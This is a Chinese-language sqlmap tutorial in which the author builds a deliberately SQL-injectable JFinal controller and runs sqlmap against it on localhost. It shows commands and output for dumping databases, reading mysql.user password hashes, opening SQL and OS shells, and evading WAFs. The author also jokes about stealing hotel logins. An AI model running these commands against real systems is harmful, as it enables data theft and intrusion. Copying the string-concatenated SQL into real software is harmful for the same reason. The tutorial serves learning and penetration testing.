一、SQLMap简介
当给 sqlmap 这么一个 url 的时候,它会:
1、判断可注入的参数
2、判断可以用那种 SQL 注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap 支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查
看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返
回在页面中。
4、联合查询注入,可以使用 union 的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap 支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB
二、注入实验
为了测试注入,我手工编写了一个存在SQL注入的访问地址,项目使用JFinal搭建,很简单,就是采用字符串拼接的方式组装SQL。
package com.wlkj.common;
import java.util.List;
import com.jfinal.core.Controller;
import com.jfinal.plugin.activerecord.Db;
import com.jfinal.plugin.activerecord.Record;
/**
* 测试注入控制器
* @author 黄宝康
* 2019年12月26日 下午2:21:00
*/
public class HbkController extends Controller {
// 获取所有的数据
public void getAllData(){
// 构造注入
String sql = "select * from hbk_test where id="+getPara("id");
List<Record> lists = Db.use("hbk").find(sql);
setAttr("datas", lists);
render("/WEB-INF/inject.jsp");
}
}
使用SQLMap进行测试
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --dbs
获取其他库的表,data数据库为上一步列出的其中之一
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --tables -D data
可以知道该数据库含有3张表
查看article表的字段
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --columns -T article -D data
全部显示出来了
获取该表的所有数据,使用dump选项
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --dump -T article -D data
全部拿到了数据
以上是由SQL注入获取到的同一台服务器mysql其他数据库数据,不过黑客分子都不是为了查看数据,一般都喜欢搞点破坏,一般查找系统的用户表,获取到业务系统的登录账号和密码(如果是加密的,可以尝试使用kali自带的hash-identifier解码工具),拿到账号密码之后,做一些事情你懂的…,幻想下攻破了某酒店系统,天天可以免费住豪华级酒店的日子,哈哈。
其他技巧
从文本中获取多个目标扫描,使用-m参数,比如我们要检查一堆的url地址是否存在SQL注入,我们可以保存为一个文本文件,每一个url单独一行。
从文件中加载http请求,-r参数
比如文本内容:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
当请求是 HTTPS 的时候你需要配合这个–force-ssl 参数来使用,或者你
可以在 Host 头后面加上:443
参数:–data
此参数是把数据以 POST 方式提交,sqlmap 会像检测 GET 参数一样检测POST 的参数。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" -- data="id=1" -f --banner --dbs --users
搜索字段,表,数据库
参数:--search,-C,-T,-D
–search 可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:
-C 后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T 后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D 后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
暴力破解表名
参数:--common-tables
当使用--tables
无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL 数据库版本小于 5.0,没有 information_schema 表。
2、数据库是 Microssoft Access,系统表 MSysObjects 是不可读的(默
认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在 txt/common-tables.txt 文件中,你可以自己添加。
运行任意操作系统命令
参数:–os-cmd,–os-shell
当数据库为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前
用户有权限使用特定的函数。
在 MySQL、PostgreSQL,sqlmap 上传一个二进制库,包含用户自定义的函数,sys_exec()和 sys_eval()。
那么他创建的这两个函数可以执行系统命令。在 Microsoft SQL Server,
sqlmap 将会使用 xp_cmdshell 存储过程,如果被禁(在 Microsoft SQL
Server 2005 及以上版本默认禁制),sqlmap 会重新启用它,如果不存在,
会自动创建。
连接数据库,建立shell交互
root@kaliPC:~# sqlmap -d mysql://test:test@localhost:3306/test --sql-shell
判断当前用户是否是DBA
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --is-dba
......
[09:39:05] [INFO] testing if current user is DBA
[09:39:05] [INFO] fetching current user
current user is DBA: True
[09:39:05] [INFO] fetched data logged to text files under 'C:\Users\yangfeng\AppData\Local\sqlmap\output\localhost'
[*] ending @ 09:39:05 /2019-12-27/
获取所有角色信息
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --roles
..............
[*] 'gzjrwv5'@'localhost' [1]:
role: USAGE
[*] 'kfq'@'%' [1]:
role: USAGE
[*] 'kinggrid'@'%' [1]:
role: USAGE
[*] 'root'@'%' (administrator) [28]:
role: ALTER
role: ALTER ROUTINE
role: CREATE
role: CREATE ROUTINE
role: CREATE TABLESPACE
role: CREATE TEMPORARY TABLES
role: CREATE USER
role: CREATE VIEW
role: DELETE
role: DROP
role: EVENT
role: EXECUTE
运行自定义sql语句
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --sql-shell
select * from data.article [1]:
[*] 1, , , 22, http://blog.csdn.net/huangbaokang, 1, , 11, 0, 2016-05-05, 娴ì
运行操作系统命令
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --os-cmd=whoami
获取信息
通过“sqlmap -u url”命令对注入点进行漏洞确认,然后依次进行以下命令,来获取数据库信息:
(1)列数据库信息:--dbs
(2)web当前使用的数据库--current-db
(3)web数据库使用账户 --current-user
(4)列出数据库所有用户 --users
(5)数据库账户与密码 --passwords
(6)指定库名列出所有表 -D databasename--tables
(7)指定库名表名列出所有字段-D antian365 -T admin --columns
(8)指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
有root权限的情况下可以系统访问权限尝试
--os-cmd=OSCMD//执行操作系统命令
--os-shell //反弹一个osshell
--os-pwn //pwn,反弹msf下的shell或者vnc
--os-smbrelay //反弹msf下的shell或者vnc
--os-bof //存储过程缓存溢出
--priv-esc //数据库提权
查询数据库密码,如果host值是“%”,则可以通过远程连接进行管理
[C:\Python27\sqlmap]$ python sqlmap.py -u "http://localhost:8080/test/hbk/getAllData?id=1" --sql-shell
select host,user,password from mysql.user [10]:
[*] localhost, root,
[*] %, root,
[*] 127.0.0.1, root,
[*] ::1, root,
[*] localhost, ,
[*] data1.localdomain, ,
[*] localhost, bak, *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[*] localhost, gzjrwv5, *B11C905C7BB5EFBC9EA333BCFE2FD0AF5257F4A5
[*] %, kfq, *DB1FF71206979F0BC23307B5DDCD8EE06AC0B420
[*] %, kinggrid, *72968455B25C507CAE2E01541500601119FE6272
获取数据库数据保存位置
select @@datadir
sql-shell> [10:10:14] [INFO] fetching SQL SELECT statement query output: 'select @@datadir'
[10:10:14] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
select @@datadir: '/usr/local/mysql/data/'
确认WAF
首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS
sqlmap -u "所要测试的url" --thread 10 --identify-waf 首选
sqlmap -u "所要测试的url" --thread 10 --check-waf 备选
使用参数绕过
sqlmap -u "所要测试的url" --random-agent -v 2 使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
sqlmap -u "所要测试的url" --hpp -v 3 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
sqlmap -u "所要测试的url" --delay=3 --time-sec=60 使用长的延时来避免触发WAF的机制,这方式比较耗时
sqlmap -u "所要测试的url" proxy=211.211.211.211:8080 --proxy-cred=211:985 使用代理进行注入等